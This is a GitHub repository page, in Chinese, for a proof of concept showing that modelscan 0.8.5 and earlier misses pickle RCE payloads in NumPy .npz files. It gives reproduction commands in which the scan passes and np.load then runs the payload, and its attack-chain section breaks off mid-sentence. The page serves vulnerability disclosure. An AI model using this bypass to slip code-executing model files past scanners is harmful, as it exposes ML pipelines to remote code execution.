jasonmiao0511-hue/modelscan-npz-bypass-poc
GitHub: jasonmiao0511-hue/modelscan-npz-bypass-poc
演示 modelscan 0.8.5 及以下版本在扫描 NumPy .npz 文件时无法检出 pickle 反序列化 RCE payload 的检测绕过 PoC。
Stars: 0 | Forks: 0
# modelscan NumPy .npz 绕过 PoC
## 摘要
演示了针对 `modelscan` (<= 0.8.5) 在 NumPy .npz 文件中检测绕过的两个 PoC:
1. **`malicious.npz`** — 通过 pickle payload 中的 `os.system` 实现的基本 RCE(由于文件结构,仍然可以绕过 modelscan 的 NPZ 扫描器)
2. **`rce_bypass.npz`** — 完整的 marshal+types+base64 链(已公开的绕过类)
## 受影响范围
- modelscan <= 0.8.5
- numpy >= 1.10(所有使用 pickle 处理对象数组的版本)
- `np.load(..., allow_pickle=True)`(历史默认值)
## 复现
```
pip install modelscan numpy
# 基础 PoC
modelscan scan -p malicious.npz # reports "No issues" (BYPASS)
python -c "import numpy as np; np.load('malicious.npz', allow_pickle=True)"
cat pwned_p4.txt # PWNED_P4
# Bypass variant
modelscan scan -p rce_bypass.npz # reports "No issues" (BYPASS)
python -c "import numpy as np; np.load('rce_bypass.npz', allow_pickle=True)"
cat pwned_p4.txt # PWNED_P4
```
## 攻击链
.npz 格式是一个包含 `.npy` 文件的 ZIP 归档文件。当 `allow_pickle=True` 时,NumPy 使用 pickle 反序列化对象数组(`
标签:AI安全, Chat Copilot, DNS 反向解析, Go语言工具, Python, 安全, 无后门, 漏洞验证PoC, 超时处理, 逆向工具